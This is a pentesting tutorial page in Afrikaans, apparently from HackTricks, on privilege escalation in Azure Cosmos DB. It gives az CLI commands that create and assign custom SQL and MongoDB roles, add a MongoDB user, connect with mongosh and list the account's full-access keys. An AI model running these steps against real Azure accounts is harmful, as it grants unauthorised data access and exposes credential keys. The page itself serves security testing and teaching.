# Az - CosmosDB Privesc

{{#include ../../../banners/hacktricks-training.md}}

## CosmosDB Privesc
Vir meer inligting oor SQL Database, kyk:

{{#ref}}
../az-services/az-cosmosDB.md
{{#endref}}

### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)

Met hierdie toestemmings kan jy priviledge eskaleer deur 'n gebruiker die toestemmings te gee om navrae uit te voer en met die databasis te verbind. Eerstens word 'n rol gedefinieer wat die nodige toestemmings en skope gee.
```bash
az cosmosdb sql role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
"RoleName": "CustomReadRole",
"Type": "CustomRole",
"AssignableScopes": [
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
],
"Permissions": [
{
"DataActions": [
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
]
}
]
}'
```
Na dit word die toekenning van die definisie aan 'n gebruiker gegee. Daarna kan daardie gebruiker die DefaultAzureCredential() verbindingsmetode gebruik om navrae uit te voer.
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--role-definition-id <Random-Unique-ID-used-in-definition> \
--principal-id <principal_id-togive-perms> \
--scope "/"
```
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)

Met hierdie toestemming kan jy nuwe MongoDB roldefinisies binne 'n Azure Cosmos DB-rekening skep. Dit stel jou in staat om pasgemaakte rolle met spesifieke toestemmings vir MongoDB gebruikers te definieer. RBAC-funksies moet geaktiveer wees om dit te gebruik.
```bash
az cosmosdb mongodb role definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.readWriteRole",
"RoleName": "readWriteRole",
"Type": "CustomRole",
"DatabaseName": "<mydatabase>",
"Privileges": [
{
"Resource": {
"Db": "<mydatabase>",
"Collection": "mycollection"
},
"Actions": [
"insert",
"find",
"update"
]
}
],
"Roles": []
}'
```
U kan nuwe MongoDB gebruikersdefinisies binne 'n Azure Cosmos DB-rekening skep. Dit stel die voorsiening van gebruikers met spesifieke rolle en toegang tot MongoDB-databasisse in staat.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \
--resource-group <resource_group_name> \
--body '{
"Id": "<mydatabase>.myUser",
"UserName": "<myUser>",
"Password": "<mySecurePassword>",
"DatabaseName": "<mydatabase>",
"CustomData": "TestCustomData",
"Mechanisms": "SCRAM-SHA-256",
"Roles": [
{
"Role": "readWriteRole",
"Db": "<mydatabase>"
}
]
}'
```
Nadat 'n nuwe gebruiker binne die MongoDB geskep is, kan ons dit toegang:
```bash
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
```
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
Met hierdie toestemming kan jy die primêre en sekondêre sleutels vir 'n Azure Cosmos DB-rekening verkry. Hierdie sleutels bied volle toegang tot die databasisrekening en sy hulpbronne, wat aksies soos data lees, skryf en konfigurasiewijzigings moontlik maak.
```bash
az cosmosdb keys list \
--name <account_name> \
--resource-group <resource_group_name>
```
{{#include ../../../banners/hacktricks-training.md}}
